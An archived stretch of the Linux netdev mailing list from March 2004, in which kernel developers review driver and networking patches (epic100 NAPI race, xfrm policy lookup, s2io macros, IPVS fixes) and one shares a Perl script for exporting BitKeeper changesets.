Mar 2004 15:22:14 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B57cP-0005A0-QS; Sun, 21 Mar 2004 18:24:17 +0000 Message-ID: <405DDDC6.7030007@pobox.com> Date: Sun, 21 Mar 2004 13:24:06 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> In-Reply-To: <20040320152109.A31118@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4167 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1390 Lines: 44 Francois Romieu wrote: > People are welcome to report how the following patch behaves on their > hardware. It does not seem too bad here but it probably is still a bit rough. > A split version of the patch will follow tomorrow. This one definitely aims > at brave and/or bored testers. Looks pretty good, but includes a standard NAPI race... When you split up the patches, I'll throw it into my -netdev tree, which means it will be automatically included in -mm for testing (as is r8169 now). FWIW Andrew Morton has made me lazy... I don't bother publishing separate -netdev patches anymore, since he automatically downloads my netdev-2.6 BK tree before doing each -mm release. > + if (work_done < orig_budget) { > + unsigned long flags; > + int status; > + > + spin_lock_irqsave(&ep->napi_lock, flags); > + epic_napi_irq_on(dev, ep); > + __netif_rx_complete(dev); > + spin_unlock_irqrestore(&ep->napi_lock, flags); > + > + status = inl(ioaddr + INTSTAT); > + if (status & EpicNapiEvent) { > + epic_napi_irq_off(dev, ep); > + goto rx_action; > + } Need to add a netif_running() check to the 'if' test at the top of the quote. Are you (or somebody else?) interested in reviewing all the in-tree NAPI drivers, and seeing if other drivers have this bug? I think 8139cp.c does at least, maybe e100 too... Such a fix would need to go into 2.4.x as well. Jeff From kaber@trash.net Sun Mar 21 15:32:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 15:32:57 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LNWsKO005689 for ; Sun, 21 Mar 2004 15:32:55 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B5CRQ-0007Mw-00; Mon, 22 Mar 2004 00:33:16 +0100 Message-ID: <405E2673.4090808@trash.net> Date: Mon, 22 Mar 2004 00:34:11 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040321221604.GA32277@gondor.apana.org.au> In-Reply-To: <20040321221604.GA32277@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4168 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 753 Lines: 31 Herbert Xu wrote: > On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > >> >>@@ -661,6 +661,20 @@ >> >> if ((*pskb)->dst->error) >> return -1; >>+ >>+#ifdef CONFIG_XFRM >>+ if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { >>+ struct xfrm_policy_afinfo *afinfo; >>+ >>+ afinfo = xfrm_policy_get_afinfo(AF_INET); >>+ if (afinfo != NULL) { >>+ afinfo->decode_session(*pskb, &fl); >>+ xfrm_policy_put_afinfo(afinfo); >>+ if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) != 0) >>+ return -1; >>+ } >>+ } >>+#endif > > > BTW, you can xfrm4_route_forward here. Is it correct that __xfrm_route_forward will use NULL for the sock parameter to xfrm_lookup even if the packet is from a local socket ? Regards Patrick From romieu@fr.zoreil.com Sun Mar 21 15:49:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 15:49:13 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LNn7KO006425 for ; Sun, 21 Mar 2004 15:49:08 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2LNlNgf021033; Mon, 22 Mar 2004 00:47:23 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2LNlNlH021032; Mon, 22 Mar 2004 00:47:23 +0100 Date: Mon, 22 Mar 2004 00:47:23 +0100 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi Message-ID: <20040322004723.A17690@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <405DDDC6.7030007@pobox.com>; from jgarzik@pobox.com on Sun, Mar 21, 2004 at 01:24:06PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 4169 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 421 Lines: 14 Jeff Garzik : [...] > Need to add a netif_running() check to the 'if' test at the top of the > quote. > > Are you (or somebody else?) interested in reviewing all the in-tree NAPI > drivers, and seeing if other drivers have this bug? I think 8139cp.c > does at least, maybe e100 too... Such a fix would need to go into 2.4.x > as well. Ok, I'll check for the race against dev_close. -- Ueimor From herbert@gondor.apana.org.au Sun Mar 21 18:04:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 18:04:05 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2M240KO013572 for ; Sun, 21 Mar 2004 18:04:00 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B5Emk-0007fJ-00; Mon, 22 Mar 2004 13:03:26 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B5Emg-0000JP-00; Mon, 22 Mar 2004 13:03:22 +1100 Date: Mon, 22 Mar 2004 13:03:22 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040322020322.GA1187@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040321221604.GA32277@gondor.apana.org.au> <405E2673.4090808@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <405E2673.4090808@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4170 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 595 Lines: 15 On Mon, Mar 22, 2004 at 12:34:11AM +0100, Patrick McHardy wrote: > Herbert Xu wrote: > > > >BTW, you can xfrm4_route_forward here. > > Is it correct that __xfrm_route_forward will use NULL for the sock > parameter to xfrm_lookup even if the packet is from a local socket ? No that would be wrong as socket policies won't be applied correctly. Forget about that idea :) -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From kaber@trash.net Sun Mar 21 18:28:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 18:28:33 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2M2SOKO014530 for ; Sun, 21 Mar 2004 18:28:25 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B5FBG-0007bt-00; Mon, 22 Mar 2004 03:28:46 +0100 Message-ID: <405E4F99.7060605@trash.net> Date: Mon, 22 Mar 2004 03:29:45 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040321221604.GA32277@gondor.apana.org.au> <405E2673.4090808@trash.net> <20040322020322.GA1187@gondor.apana.org.au> In-Reply-To: <20040322020322.GA1187@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4171 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 468 Lines: 14 Herbert Xu wrote: > On Mon, Mar 22, 2004 at 12:34:11AM +0100, Patrick McHardy wrote: > >>Is it correct that __xfrm_route_forward will use NULL for the sock >>parameter to xfrm_lookup even if the packet is from a local socket ? > > No that would be wrong as socket policies won't be applied correctly. > Forget about that idea :) Thanks anyway, it reminded me to check for !(dst->flags & DST_NOXFRM) before xfrm_lookup, I'm going to change this now. Regards Patrick From jgarzik@pobox.com Sun Mar 21 20:21:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 20:21:39 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2M4LaKO020608 for ; Sun, 21 Mar 2004 20:21:36 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B4dHu-0005uK-AA; Sat, 20 Mar 2004 10:01:06 +0000 Message-ID: <405C1656.8080004@pobox.com> Date: Sat, 20 Mar 2004 05:00:54 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: netdev@oss.sgi.com, "'ravinandan arakali'" , raghavendra.koushik@s2io.com Subject: Re: Submission #4 for S2io 10GbE driver References: <001001c40e34$d2c3c4b0$0300a8c0@S2IOtech.com> <405C153A.2020809@pobox.com> In-Reply-To: <405C153A.2020809@pobox.com> Content-Type: multipart/mixed; boundary="------------090801020801050302080103" X-archive-position: 4172 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1248 Lines: 43 This is a multi-part message in MIME format. --------------090801020801050302080103 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Jeff Garzik wrote: > ===== drivers/net/s2io.h 1.1 vs 1.2 ===== > --- 1.1/drivers/net/s2io.h Sat Mar 20 04:38:16 2004 > +++ 1.2/drivers/net/s2io.h Sat Mar 20 04:47:53 2004 > @@ -14,8 +14,8 @@ > #define _S2IO_H > > #define TBD 0 > -#define BIT(loc) (((u64)0x8000000000000000ULL) >> loc) > -#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) > +#define BIT(loc) (1ULL << (loc)) > +#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) and here is a patch correcting an incorrect cleanup... --------------090801020801050302080103 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" ===== drivers/net/s2io.h 1.2 vs edited ===== --- 1.2/drivers/net/s2io.h Sat Mar 20 04:47:53 2004 +++ edited/drivers/net/s2io.h Sat Mar 20 04:59:28 2004 @@ -14,7 +14,7 @@ #define _S2IO_H #define TBD 0 -#define BIT(loc) (1ULL << (loc)) +#define BIT(loc) (0x8000000000000000ULL >> (loc)) #define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) #ifndef BOOL --------------090801020801050302080103-- From davem@redhat.com Sun Mar 21 23:05:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 23:05:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2M75IKO024615 for ; Sun, 21 Mar 2004 23:05:19 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2M75FWA026534; Mon, 22 Mar 2004 02:05:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2M75Ej01456; Mon, 22 Mar 2004 02:05:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2M74w1n011811; Mon, 22 Mar 2004 02:04:58 -0500 Date: Sun, 21 Mar 2004 23:05:13 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [BK] XFRM Clean-Up xfrm_lookup() Message-Id: <20040321230513.61e6e9eb.davem@redhat.com> In-Reply-To: <20040320.135151.114415274.yoshfuji@linux-ipv6.org> References: <20040320.135151.114415274.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2M75IKO024615 X-archive-position: 4174 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1281 Lines: 70 On Sat, 20 Mar 2004 13:51:51 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Please pull the following changesets from . Pulled, thanks Yoshfuji. > (Sorry I don't know how to send changesets in e-mail.) I attach a perl script that I use. It works for me. It would be really nice to see the actual diffs here and not just change comments :) Just do this: bash$ bk changes -L -f >changes.out bash$ ./csets-to-marcelo.pl foo.txt Maybe you like the output, maybe you don't :) You can edit it to your tastes. #!/usr/bin/perl -w use strict; my ($lhs, $rev, $tmp, $rhs, $s); my @cset_text = (); my @pipe_text = (); my $have_cset = 0; while (<>) { next if /^---/; if (($lhs, $tmp, $rhs) = (/^(ChangeSet\@)([^,]+)(, .*)$/)) { &cset_rev if ($have_cset); $rev = $tmp; $have_cset = 1; push(@cset_text, $_); } elsif ($have_cset) { push(@cset_text, $_); } } &cset_rev if ($have_cset); exit(0); sub cset_rev { my $empty_cset = 0; open PIPE, "bk export -tpatch -hdu -r $rev 2>/dev/null |" or die; while ($s = ) { push(@pipe_text, $s); } close(PIPE); if (! $empty_cset) { print @cset_text; print @pipe_text; print "\n\n"; } @pipe_text = (); @cset_text = (); } From davem@redhat.com Sun Mar 21 23:07:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 23:07:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2M779KO024940 for ; Sun, 21 Mar 2004 23:07:10 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2M775WA027020; Mon, 22 Mar 2004 02:07:05 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2M775j01800; Mon, 22 Mar 2004 02:07:05 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2M76m1n012326; Mon, 22 Mar 2004 02:06:48 -0500 Date: Sun, 21 Mar 2004 23:07:03 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, wensong@linux-vs.org Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes Message-Id: <20040321230703.408d2240.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4175 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 115 Lines: 7 These look find to me at first glance. Wensong, resend to me under seperate cover once you've reviewed. THanks. From ja@ssi.bg Mon Mar 22 03:26:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 03:26:52 -0800 (PST) Received: from l.himel.bg (IDENT:root@[213.91.247.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MBQLKO005910 for ; Mon, 22 Mar 2004 03:26:23 -0800 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.11.6/8.9.3) with ESMTP id i2MBQJT03465; Mon, 22 Mar 2004 13:26:19 +0200 Date: Mon, 22 Mar 2004 13:26:19 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@l To: "David S. Miller" cc: netdev@oss.sgi.com, Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes In-Reply-To: <20040321230703.408d2240.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4177 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 416 Lines: 21 Hello, On Sun, 21 Mar 2004, David S. Miller wrote: > These look find to me at first glance. > > Wensong, resend to me under seperate cover once you've > reviewed. Dave, if it is not too late, can you skip the change for ip_vs_ctl.c (ip_vs_updsvc-*.diff) that adds the missing svc lock, it seems it is not needed as the lock protects only the service list. > THanks. Regards -- Julian Anastasov From wensong@linux-vs.org Mon Mar 22 05:41:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 05:41:56 -0800 (PST) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MDfrKO019937 for ; Mon, 22 Mar 2004 05:41:53 -0800 Received: from penguin.linux-vs.org ([211.136.74.12]) by lb1.ctrip.com (8.12.10/8.12.10) with ESMTP id i2MDf5Qj007912 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Mon, 22 Mar 2004 21:41:44 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id i2MDLEjv002351; Mon, 22 Mar 2004 21:21:14 +0800 Date: Mon, 22 Mar 2004 21:21:14 +0800 (CST) From: Wensong Zhang To: "David S. Miller" cc: Julian Anastasov , Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes In-Reply-To: <20040321230703.408d2240.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4179 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Content-Length: 281 Lines: 18 On Sun, 21 Mar 2004, David S. Miller wrote: > > Wensong, resend to me under seperate cover once you've > reviewed. > Actually, Julian and I had discussed the patches before he sent them to you. I see if Julian can make BK changesets now, otherwise I do. Cheers, Wensong From wensong@linux-vs.org Mon Mar 22 08:59:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 08:59:35 -0800 (PST) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MGxRKO002452 for ; Mon, 22 Mar 2004 08:59:28 -0800 Received: from penguin.linux-vs.org ([211.136.74.12]) by lb1.ctrip.com (8.12.10/8.12.10) with ESMTP id i2MGwqQf020403 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 23 Mar 2004 00:59:04 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id i2MGwcjj006922; Tue, 23 Mar 2004 00:58:39 +0800 Date: Tue, 23 Mar 2004 00:58:38 +0800 (CST) From: Wensong Zhang To: "David S. Miller" cc: Julian Anastasov , Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes In-Reply-To: <20040321230703.408d2240.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811584-515257213-1079974718=:6711" X-archive-position: 4180 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Content-Length: 17777 Lines: 320 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463811584-515257213-1079974718=:6711 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, On Sun, 21 Mar 2004, David S. Miller wrote: > > These look find to me at first glance. > > Wensong, resend to me under seperate cover once you've > reviewed. > Dave, please check the attached patches. There are three patches for 2.4, and two for 2.6. Thanks, Wensong ---1463811584-515257213-1079974718=:6711 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.4-ipvs-hraw.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.4-ipvs-hraw.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTMzNyAgLT4gMS4xMzM4IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2Nvbm4uYwkxLjQgICAgIC0+IDEuNSAgICAN CiMNCiMgVGhlIGZvbGxvd2luZyBpcyB0aGUgQml0S2VlcGVyIENoYW5nZVNl dCBMb2cNCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0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; name="linux-2.4-ipvs-unhash.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.4-ipvs-unhash.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTMzNSAgLT4gMS4xMzM2IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2Nvbm4uYwkxLjMgICAgIC0+IDEuNCAgICAN CiMNCiMgVGhlIGZvbGxvd2luZyBpcyB0aGUgQml0S2VlcGVyIENoYW5nZVNl dCBMb2cNCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0NCiMgMDQvMDMvMjIJamFAc3NpLmJnCTEuMTMzNg0KIyBbSVBW U10gRml4IGNvbm5lY3Rpb24gcmVoYXNoaW5nIHdpdGggbmV3IGNwb3J0DQoj IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t DQojDQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX2Nvbm4uYyBi L25ldC9pcHY0L2lwdnMvaXBfdnNfY29ubi5jDQotLS0gYS9uZXQvaXB2NC9p cHZzL2lwX3ZzX2Nvbm4uYwlNb24gTWFyIDIyIDIzOjAwOjIwIDIwMDQNCisr KyBiL25ldC9pcHY0L2lwdnMvaXBfdnNfY29ubi5jCU1vbiBNYXIgMjI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BfdnNfY29ubl91bmhhc2goY3Ap KQ0KKwkJZ290byBleHBpcmVfbGF0ZXI7DQogDQogCS8qDQogCSAqCXJlZmNu dD09MSBpbXBsaWVzIEknbSB0aGUgb25seSBvbmUgcmVmZXJyZXINCg== ---1463811584-515257213-1079974718=:6711 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.4-ipvs-updsvc.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.4-ipvs-updsvc.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTMzNiAgLT4gMS4xMzM3IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jCTEuNSAgICAgLT4gMS42ICAgIA0K Iw0KIyBUaGUgZm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0 IExvZw0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KIyAwNC8wMy8yMgl3ZW5zb25nQGxpbnV4LXZzLm9yZwkxLjEz MzcNCiMgW0lQVlNdIEZpeCB0byBob2xkIHRoZSBsb2NrIGJlZm9yZSB1cGRh dGluZyBhIHNlcnZpY2UNCiMgDQojIEJyZXR0IEUuIDxicmV0dHNwYW1hY2N0 QGZhc3RjbGljay5jb20+IG5vdGljZWQgdGhlIG1pc3Npbmcgc2VydmljZSBs b2NrDQojIGZvciBlZGl0aW5nIGRlc3QuDQojIA0KIyBKdWxpYW4gQW5hc3Rh 